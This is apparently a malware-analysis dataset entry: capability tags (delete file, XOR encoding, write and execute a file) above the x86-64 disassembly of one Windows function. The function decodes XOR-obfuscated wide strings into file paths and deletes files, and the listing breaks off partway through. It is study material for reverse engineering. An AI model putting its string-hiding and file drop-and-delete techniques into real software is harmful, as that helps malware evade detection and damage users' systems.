Function at 0x14000a820
Capabilities:
Delete file
Encode data using xor
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x1400fbb78]
xor rax, rsp
mov qword [rbp + 0x18], rax
xor r14d, r14d
lea ecx, [r14 + 0x2e]
xor edx, edx
call fcn.1400056c0
movzx edi, ax
mov word [rbp - 0x68], ax
lea ecx, [r14 + 0x73]
lea edx, [rcx - 0x72]
call fcn.1400056c0
mov word [rbp - 0x66], ax
lea ecx, [r14 + 0x79]
lea edx, [rcx - 0x77]
call fcn.1400056c0
mov word [rbp - 0x64], ax
lea ecx, [r14 + 0x73]
lea edx, [rcx - 0x70]
call fcn.1400056c0
mov word [rbp - 0x62], ax
xor ecx, ecx
lea edx, [rcx + 4]
call fcn.1400056c0
movzx esi, ax
mov word [rbp - 0x60], ax
lea edx, [r14 + 5]
movzx ecx, word [0x14008fd4a]
call fcn.1400056c0
mov word [rbp - 0x5e], ax
lea edx, [r14 + 6]
movzx ecx, word [0x14008fd4c]
call fcn.1400056c0
mov word [rbp - 0x5c], ax
lea edx, [r14 + 7]
movzx ecx, word [0x14008fd4e]
call fcn.1400056c0
mov word [rbp - 0x5a], ax
lea edx, [r14 + 8]
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_46]
call fcn.1400056c0
mov word [rbp - 0x58], ax
xor eax, eax
mov word [rbp - 0x56], ax
mov edx, r14d
mov r15d, 0x133
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x14000a910
mov word [rbp - 0x56], r14w
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r14
lea rax, [rbp - 0x68]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], r14w
jne 0x14000a950
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 8]
call fcn.140003590
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x28]
call fcn.14000a1b0
nop
mov word [rbp - 0x68], di
mov ecx, 0x65
lea edx, [rcx - 0x64]
call fcn.1400056c0
mov word [rbp - 0x66], ax
mov ecx, 0x78
lea edx, [rcx - 0x76]
call fcn.1400056c0
mov word [rbp - 0x64], ax
mov ecx, 0x65
lea edx, [rcx - 0x62]
call fcn.1400056c0
mov word [rbp - 0x62], ax
mov word [rbp - 0x60], si
mov edx, 5
movzx ecx, word [0x14008fd5a]
call fcn.1400056c0
mov word [rbp - 0x5e], ax
mov edx, 6
movzx ecx, word [0x14008fd5c]
call fcn.1400056c0
mov word [rbp - 0x5c], ax
mov edx, 7
movzx ecx, word [0x14008fd5e]
call fcn.1400056c0
mov word [rbp - 0x5a], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_45]
call fcn.1400056c0
mov word [rbp - 0x58], ax
xor eax, eax
mov word [rbp - 0x56], ax
mov edx, r14d
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x14000aa10
mov word [rbp - 0x56], r14w
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r14
lea rax, [rbp - 0x68]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14000aa50
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x58]
call fcn.140003590
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x48]
call fcn.14000a1b0
nop
mov ecx, reloc.WLDAP32.dll_Ordinal_45
xor edx, edx
call fcn.1400056c0
mov word [rbp - 0x68], ax
mov ecx, WSASetLastError
lea edx, [rcx - 0x6c]
call fcn.1400056c0
mov word [rbp - 0x66], ax
mov ecx, 0x61
lea edx, [rcx - 0x5f]
call fcn.1400056c0
mov word [rbp - 0x64], ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
lea edx, [rcx - 0x6d]
call fcn.1400056c0
mov word [rbp - 0x62], ax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
lea edx, [rcx - 0x1c]
call fcn.1400056c0
mov word [rbp - 0x60], ax
xor ecx, ecx
lea edx, [rcx + 5]
call fcn.1400056c0
mov word [rsp + 0x40], ax
mov word [rbp - 0x5e], ax
mov edx, 6
movzx ecx, word [0x14008fd6c]
call fcn.1400056c0
mov word [rbp - 0x5c], ax
mov edx, 7
movzx ecx, word [0x14008fd6e]
call fcn.1400056c0
mov word [rbp - 0x5a], ax
mov edx, 8
movzx ecx, word [0x14008fd70]
call fcn.1400056c0
mov word [rbp - 0x58], ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSACleanup]
call fcn.1400056c0
mov word [rbp - 0x56], ax
mov edx, 0xa
movzx ecx, word [0x14008fd74]
call fcn.1400056c0
mov word [rbp - 0x54], ax
xor eax, eax
mov word [rbp - 0x52], ax
mov edx, r14d
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x14000ab51
mov word [rbp - 0x52], r14w
lea rax, [rbp - 0x68]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000ab73
mov r12, qword [rbp - 0x18]
movabs rdi, 0x7ffffffffffffffe
mov rax, rdi
sub rax, r12
cmp rax, rbx
jb 0x14000b1bc
lea r13, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae r13, qword [rbp - 0x28]
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea r15, [r12 + rbx]
mov esi, 7
lea r14, [rbp - 8]
cmp r15, rsi
jbe 0x14000abf3
mov rsi, r15
or rsi, 7
cmp rsi, rdi
jbe 0x14000abd2
mov rsi, rdi
jmp 0x14000abdf
cmp rsi, 0xa
mov eax, 0xa
cmovb rsi, rax
lea rdx, [rsi + 1]
lea rcx, [rbp - 8]
call fcn.140008a80
mov r14, rax
mov qword [rbp - 8], rax
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x68]
mov rcx, r14
call fcn.14005f3c0
lea rcx, [rbx + r14]
lea r8, [r12 + r12]
mov rdx, r13
call fcn.14005f3c0
xor r12d, r12d
mov word [r14 + r15*2], r12w
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8